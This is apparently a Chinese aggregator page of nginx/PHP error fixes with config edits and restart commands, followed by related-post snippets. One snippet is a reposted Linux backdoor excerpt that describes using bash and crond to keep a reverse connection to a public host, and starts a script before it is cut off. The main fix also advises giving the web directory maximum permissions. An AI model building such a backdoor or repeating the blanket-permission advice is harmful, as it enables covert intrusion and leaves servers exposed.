NGINX PHP 报错整理合集

NGINX PHP "No input file specified"

  • 修改php.ini
    conf cgi.fix_pathinfo=1;
  • 修改nginx.conf,中的fastcgi_param SCRIPT_FILENAME参数,(有的可能在引入的其他文件里面)。
    conf fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
  • 服务器中执行命令,重启php nginx
    /etc/init.d/php-fpm restart nginx -t nginx -s reload
    ---

    NGINX PHP "file not found"

    问题出现过程,访问php页面显示file not found,查看error.log日志文件提示"Primary script unknown" while reading response header from upstream"

  • 查看nginx和php用户,要两个的用户是一样的
    ps -ef | grep php-fpm和ps -ef | grep nginx
  • 如果不一样则修改php-fpm.conf,nginx.conf中的参数
    user = www group = www
    user www www;

    NGINX PHP "403 Forbidden"

    问题排查过程 访问页面报错403 Forbidden,查看nginx_error.log提示 "is forbidden (13: Permission denied)"

  • 查看nginx.conf配置文件中访问server_name域名时,指定的index是否存在对应的root指定的索引文件不存在。
  • web目录权限问题:nginx的启动用户可能是www root nginx或者 nobody。所以没有权限访问该web目录。给web目录最高权限即可解决。

原文地址:https://www.cnblogs.com/mengyilingjian/p/11993751.html

时间: 2024-08-12 20:38:42

NGINX PHP 报错整理合集的相关文章

[转载]Linux后门整理合集(脉搏推荐)

我在思考要不要联系下....都禁止转载了.... 简介 利用 Unix/Linux 自带的 Bash 和 Crond 实现远控功能,保持反弹上线到公网机器. 利用方法 先创建 /etc/xxxx 脚本文件(名字自己改),利用该脚本进行反弹.以下脚本代表全自动反弹到 8.8.8.8 的 53 端口. nano /etc/xxxx #!/bin/bash if netstat -ano|grep -v grep | grep "8.8.8.8">/dev/null then echo

Nginx启动报错:

Nginx启动报错:10013: An attempt was made to access a socket in a way forbidden 2014-08-07 14:39:10   来源:   评论:0 点击: Nginx在win7,win2008下启动报错:bind() to 0.0.0.0:80 failed (10013: An attempt was made to access a socket in a way forbidden by its access permis

Nginx启动报错:10013: An attempt was made to access a socket in a way forbidden

Nginx在win7,win2008下启动报错:bind() to 0.0.0.0:80 failed (10013: An attempt was made to access a socket in a way forbidden by its access permissions) . 原因是Win7下nginx默认80端口被System占用,造成nginx启动报错的解决方案. 在cmd窗口运行如下命令: [plain] C:\Users\Administrator>netstat -ao

FastDFS整合nginx后,nginx一直报错

FastDFS整合nginx后,nginx一直报错: 报错内容: [2018-06-11 09:41:21] ERROR - file: ../common/fdfs_http_shared.c, line: 148, param "http.mime_types_filename" not exist or is empty 处理过程: #include http.conf是写在/etc/fdfs/mod_fastdfs.conf里,然而在 /etc/fdfs目录中没有 http.c

nginx启动报错:Job for nginx.service failed. See 'systemctl status nginx.service' and 'journalctl -xn' fo

一.背景 这个错误在重启nginx或者启动nginx的时候,经常会出现.我之前也一直认为出现这个错误是因为有程序占用了nginx的进程.但是知其然不知其所以然.每次报错都有点懵逼,所以这边一步步排查错误,做个记录. 二.排错过程 1.按照提示 //按照提示,执行此命令,查看错误原因 systemctl status nginx.service 由报错信息可知,nginx绑定80端口失败.详细错误请输入 -l 继续查看 2.继续跟踪错误 //查看错误的详情 systemctl status ngi

nginx+tomcat 报错:『an upstream response is buffered to a temporary file 』

一.过程描述: 访问新项目网站发现有静态资源获取failed,图片经常无法显示,刷新偶尔图片能显示出来. 查看nginx日志,有error.log报错: [2017/07/21 22:53:12 [warn] 22402#0: *484 an upstream response is buffered to a temporary file /var/tmp/nginx/proxy//6/01/0000000016 while reading upstream, client: 106.121.

Nginx 499 报错,tomcat大量超时

今天web大量超时报错,查看日志显示,tomcat链接RPC服务timeout,查看tomcat机器和RPC服务所在机器资源都正常.尝试重启RPC服务后,web仍然报错,查看nginx日志,有大量499报错.经查询得知,nginx的499报错解释如下: 『 499 / ClientClosed Request    An Nginx HTTP server extension. This codeis introduced to log the case when the connection

nginx访问报错:Too many open files accept:

使用nginx作为web服务,访问的时候报错:accept() failed (24: Too many open files) 原因时:nginx的连接数超过了系统设定的最大值! 解决办法:(1)[[email protected] nginx]# ulimit -n1024 [[email protected] nginx]# ulimit -n 655360 #把打开文件数设置足够大,这是临时修改方案[[email protected] nginx]# ulimit -n655360 (2

生产环境nginx代码报错500

2015年11月23日晚搭建完BRS系统(上传图片系统)后,测试机器功能发现无法图片无法上传到服务器上,查看nginx日志后发现日志nginx状态码返回500(内部服务器错误), 1.开始认为是nginx权限导致,把upload目录改为777,但是依然无效,后思考下如果是权限问题不应该返回500,而是403之类的状态码,后开始进行下一步排查: 2.后利用google的调试功能进行排查,后发现貌似数据库报错,插入不了数据,有的字段未显示但还不能为空,所以插入不进去数字,原因在于数据库配置问题,后把